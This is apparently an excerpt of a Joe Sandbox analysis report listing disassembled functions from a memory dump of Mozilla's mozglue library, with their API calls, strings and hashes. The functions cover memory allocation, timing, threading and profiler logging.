Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: da6de66f797c4cc6edd10c9a12596c1c3f17aebd133f8b108a5a440c0e086be0
Instruction ID: daf6ecccc8fd6e1f65a9cde3f15d0c713185876a73dfbf8755419b9d3581d48f
Opcode Fuzzy Hash: da6de66f797c4cc6edd10c9a12596c1c3f17aebd133f8b108a5a440c0e086be0
Instruction Fuzzy Hash: BE81A270F012119BEB00FF68C998F59B7B5EB4671CF30892AE92197B80D77598068FE1

Function 6C3D7FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C3D8007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C3D801D

Part of subcall function 6C3DCA10: malloc.MOZGLUE(?), ref: 6C3DCA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C3D802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C3D803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C3D808D

Part of subcall function 6C3DCA10: mozalloc_abort.MOZGLUE(?), ref: 6C3DCAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C3D809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C3D80B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C3D80DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3D80ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3D80FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3D810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C3D8133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C3D8149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C3D8167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C3D817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3D8199

Strings

0>@l, xrefs: 6C3D811E

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: 0>@l
API String ID: 2721933968-1273466193
Opcode ID: d6b93e2f16abc0f2c6bb90722375cd5f7326c9566fd37bc61dfece3e7bf9c699
Instruction ID: a232a89022b4ab27778ec8d2f1da123c3ca721533322f24ab1fc23b339c86558
Opcode Fuzzy Hash: d6b93e2f16abc0f2c6bb90722375cd5f7326c9566fd37bc61dfece3e7bf9c699
Instruction Fuzzy Hash: DA5166B2E001145BDB00DBA5DC84EEFB7B9EF89268F255125E815E7741E731B9088FE2

Function 6C3D5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C3D5E9D

Part of subcall function 6C3E5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C3E56EE,?,00000001), ref: 6C3E5B85
Part of subcall function 6C3E5B50: EnterCriticalSection.KERNEL32(6C44F688,?,?,?,6C3E56EE,?,00000001), ref: 6C3E5B90
Part of subcall function 6C3E5B50: LeaveCriticalSection.KERNEL32(6C44F688,?,?,?,6C3E56EE,?,00000001), ref: 6C3E5BD8
Part of subcall function 6C3E5B50: GetTickCount64.KERNEL32 ref: 6C3E5BE4

GetCurrentThreadId.KERNEL32 ref: 6C3D5EAB
GetCurrentThreadId.KERNEL32 ref: 6C3D5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C3D5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C3D6017

Part of subcall function 6C3C4310: moz_xmalloc.MOZGLUE(00000010,?,6C3C42D2), ref: 6C3C436A
Part of subcall function 6C3C4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C3C42D2), ref: 6C3C4387

moz_xmalloc.MOZGLUE(00000004), ref: 6C3D5F47
GetCurrentProcess.KERNEL32 ref: 6C3D5F53
GetCurrentThread.KERNEL32 ref: 6C3D5F5C
GetCurrentProcess.KERNEL32 ref: 6C3D5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C3D5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C3D5F27

Part of subcall function 6C3DCA10: mozalloc_abort.MOZGLUE(?), ref: 6C3DCAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C3D55E1), ref: 6C3D5E8C

Part of subcall function 6C3DCA10: malloc.MOZGLUE(?), ref: 6C3DCA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C3D55E1), ref: 6C3D605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C3D55E1), ref: 6C3D60CC

Strings

GeckoMain, xrefs: 6C3D5ECE, 6C3D6015

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 8f611f2006016eea7c731e4668b3b1ebf9a060005afe3db5861219dbb1faaa76
Instruction ID: da8bb4527842c985019e8f2e4ad31bd281703b12a3b8a0fcc8f4c77869103c9a
Opcode Fuzzy Hash: 8f611f2006016eea7c731e4668b3b1ebf9a060005afe3db5861219dbb1faaa76
Instruction Fuzzy Hash: EB71C1B1A097409FD700EF24C480A6ABBF0FF99308F14496DE4968BB52D731E948CF92

Function 6C3D9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C3C31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C3C3217
Part of subcall function 6C3C31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C3C3236
Part of subcall function 6C3C31C0: FreeLibrary.KERNEL32 ref: 6C3C324B
Part of subcall function 6C3C31C0: __Init_thread_footer.LIBCMT ref: 6C3C3260
Part of subcall function 6C3C31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C3C327F
Part of subcall function 6C3C31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C3C328E
Part of subcall function 6C3C31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C3C32AB
Part of subcall function 6C3C31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C3C32D1
Part of subcall function 6C3C31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C3C32E5
Part of subcall function 6C3C31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C3C32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C3D9675
__Init_thread_footer.LIBCMT ref: 6C3D9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C3D96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C3D9707
__Init_thread_footer.LIBCMT ref: 6C3D971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C3D9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C3D97B7
FreeLibrary.KERNEL32 ref: 6C3D97D0
FreeLibrary.KERNEL32 ref: 6C3D97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C3D9824

Strings

ntdll.dll, xrefs: 6C3D96E3
NtMapViewOfSection, xrefs: 6C3D9701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C3D9670
MapViewOfFileNuma2, xrefs: 6C3D97B1

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: aa6af2c235affb5da9c262f98b9567380c5d5b87e4a26733413942a754917fae
Instruction ID: d7558609c3535f7c5e1e39fea57166a77409d4d6cf58c8b780ee5efe8b6562c6
Opcode Fuzzy Hash: aa6af2c235affb5da9c262f98b9567380c5d5b87e4a26733413942a754917fae
Instruction Fuzzy Hash: 0C610172A01301AFEF00FFA4D894F9A7BB4EB4A31DF218528E91583740DB34A844CFA1

Function 6C426660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C44F618), ref: 6C426694
GetThreadId.KERNEL32(?), ref: 6C4266B1
GetCurrentThreadId.KERNEL32 ref: 6C4266B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C4266E1
EnterCriticalSection.KERNEL32(6C44F618), ref: 6C426734
GetCurrentProcess.KERNEL32 ref: 6C42673A
LeaveCriticalSection.KERNEL32(6C44F618), ref: 6C42676C
GetCurrentThread.KERNEL32 ref: 6C4267FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C426868
RtlCaptureContext.NTDLL ref: 6C42687F

Strings

WalkStack64, xrefs: 6C426890

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 7dc2639876d5d82ba7116e229ec862d282db50826d5c3483be1d88e688031767
Instruction ID: d4c44cc7fe6cdd17626db3ed26fad0779cc9e6af9bc11d068c120977f060f604
Opcode Fuzzy Hash: 7dc2639876d5d82ba7116e229ec862d282db50826d5c3483be1d88e688031767
Instruction Fuzzy Hash: 1051AA71A09300AFD711EF24C845E9ABBF4FF89718F20892DF99887740D774A909CB92

Function 6C40DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C409420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C3D4A68), ref: 6C40945E
Part of subcall function 6C409420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C409470
Part of subcall function 6C409420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C409482
Part of subcall function 6C409420: __Init_thread_footer.LIBCMT ref: 6C40949F

GetCurrentThreadId.KERNEL32 ref: 6C40DE73
GetCurrentThreadId.KERNEL32 ref: 6C40DF7D
AcquireSRWLockExclusive.KERNEL32(6C44F4B8), ref: 6C40DF8A
ReleaseSRWLockExclusive.KERNEL32(6C44F4B8), ref: 6C40DFC9
GetCurrentThreadId.KERNEL32 ref: 6C40DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C40E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C3D4A68), ref: 6C40DE7B

Part of subcall function 6C4094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C4094EE
Part of subcall function 6C4094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C409508

Part of subcall function 6C3FCBE8: GetCurrentProcess.KERNEL32(?,6C3C31A7), ref: 6C3FCBF1
Part of subcall function 6C3FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C3C31A7), ref: 6C3FCBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C3D4A68), ref: 6C40DEB8
free.MOZGLUE(00000000,?,6C3D4A68), ref: 6C40DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C40DF38

Strings

<none>, xrefs: 6C40DFD7
[I %d/%d] locked_profiler_stop, xrefs: 6C40DE83
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C40E00E

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: caee12ae6691694b1a97e37567a75d24ab25223db827c66b561a94c5254e7b22
Instruction ID: c5cf43627a7575650c964dceb2b3b9a473795a5eea2c6d22014dcfe71785e2d9
Opcode Fuzzy Hash: caee12ae6691694b1a97e37567a75d24ab25223db827c66b561a94c5254e7b22
Instruction Fuzzy Hash: D541F7717025109BEB10FF64D808FAE7775EF9531DF248129E90997B01CB719809CBE2

Function 6C41D840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C41D85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C41D86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C41D918
GetCurrentThreadId.KERNEL32 ref: 6C41D93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C41D948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C41D970
GetCurrentThreadId.KERNEL32 ref: 6C41D976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C41D982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C41D9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C41DA2E
GetCurrentThreadId.KERNEL32 ref: 6C41DA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C41DA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C41DA91

Part of subcall function 6C3E5C50: GetTickCount64.KERNEL32 ref: 6C3E5D40
Part of subcall function 6C3E5C50: EnterCriticalSection.KERNEL32(6C44F688), ref: 6C3E5D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C41DAB7

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: e85dfb5ae589d77e91f80214427d55a962321bb7a2beba1c655ed5e1ab453bdc
Instruction ID: 3abd57ce68053c4f514858464c12e4f38a5dedc1da28835593c1f3a5547d14f8
Opcode Fuzzy Hash: e85dfb5ae589d77e91f80214427d55a962321bb7a2beba1c655ed5e1ab453bdc
Instruction Fuzzy Hash: A9717D756043049FCB00EF29C884E6ABBF5FF89358F25856DE89A9B741DB30A944CB91

Function 6C41D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C41D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C41D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C41D52A
GetCurrentThreadId.KERNEL32 ref: 6C41D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C41D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C41D55F
free.MOZGLUE(00000000), ref: 6C41D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C41D5D3
GetCurrentThreadId.KERNEL32 ref: 6C41D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C41D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C41D652
GetCurrentThreadId.KERNEL32 ref: 6C41D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C41D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C41D6A2

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 5b1c16207b1d0efae144e1cd9a106f7e523a0e7928a33fb1f434d313fd69c9b6
Instruction ID: f4f80b6a261d68687bc3d1c2a9e3b09d965fab8f2cf094c65be6ae6194a9ea5a
Opcode Fuzzy Hash: 5b1c16207b1d0efae144e1cd9a106f7e523a0e7928a33fb1f434d313fd69c9b6
Instruction Fuzzy Hash: F4514FB5604B05DFC704EF35C484A9ABBB5FF89318F10862EE99A87B11DB30E545CB91

Function 6C3C1E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C44E784), ref: 6C3C1EC1
LeaveCriticalSection.KERNEL32(6C44E784), ref: 6C3C1EE1
EnterCriticalSection.KERNEL32(6C44E744), ref: 6C3C1F38
LeaveCriticalSection.KERNEL32(6C44E744), ref: 6C3C1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C3C1F83
LeaveCriticalSection.KERNEL32(6C44E784), ref: 6C3C1FC0
EnterCriticalSection.KERNEL32(6C44E784), ref: 6C3C1FE2
LeaveCriticalSection.KERNEL32(6C44E784), ref: 6C3C1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C3C2019

Strings

MOZ_CRASH(), xrefs: 6C3C2000
DDl, xrefs: 6C3C1F32
DDl, xrefs: 6C3C1F56
\Dl, xrefs: 6C3C1F3E

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: DDl$DDl$MOZ_CRASH()$\Dl
API String ID: 2055633661-3863312794
Opcode ID: 35d9fd45dff95b4b2ff47e890d5031be6d31c4f546a028847f1aa021760db060
Instruction ID: 51a630e62464625ac509fdd4a2d1ef61437fbdb0adceefe6198899084a9e9c3c
Opcode Fuzzy Hash: 35d9fd45dff95b4b2ff47e890d5031be6d31c4f546a028847f1aa021760db060
Instruction Fuzzy Hash: F741B075F047158BEB00EF78C888FAEBAB5EB4935CF248125E91497741DB7198048FD2

Function 6C3E5670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C3E56D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C3E56E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C3E56F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C3E5744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C3E57BC
GetTickCount64.KERNEL32 ref: 6C3E58CB
EnterCriticalSection.KERNEL32(6C44F688), ref: 6C3E58F3
__aulldiv.LIBCMT ref: 6C3E5945
LeaveCriticalSection.KERNEL32(6C44F688), ref: 6C3E59B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C44F638,?,?,?,?), ref: 6C3E59E9

Strings

MOZ_APP_RESTART, xrefs: 6C3E56CC

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: d9a55d346b938873903625db9184551bbd85211d3ac5f636acc777a22194ce62
Instruction ID: 92b0eb9abfb2e4ef0226e017cc59e55fc4a0992f964e5c6bfc7c0ce0f11a4bc7
Opcode Fuzzy Hash: d9a55d346b938873903625db9184551bbd85211d3ac5f636acc777a22194ce62
Instruction Fuzzy Hash: E5C17F31A097509FD705EF28C44065AF7F1FFDA718F158A1EE8C897661D731A886CB82

Function 6C40EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C409420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C3D4A68), ref: 6C40945E
Part of subcall function 6C409420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C409470
Part of subcall function 6C409420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C409482
Part of subcall function 6C409420: __Init_thread_footer.LIBCMT ref: 6C40949F

GetCurrentThreadId.KERNEL32 ref: 6C40EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C40EC8C

Part of subcall function 6C4094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C4094EE
Part of subcall function 6C4094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C409508

GetCurrentThreadId.KERNEL32 ref: 6C40ECA1
AcquireSRWLockExclusive.KERNEL32(6C44F4B8), ref: 6C40ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C40ECC5
ReleaseSRWLockExclusive.KERNEL32(6C44F4B8), ref: 6C40ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C40ED19
CloseHandle.KERNEL32(?), ref: 6C40ED28
free.MOZGLUE(00000000), ref: 6C40ED2F
ReleaseSRWLockExclusive.KERNEL32(6C44F4B8), ref: 6C40ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C40EC94

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
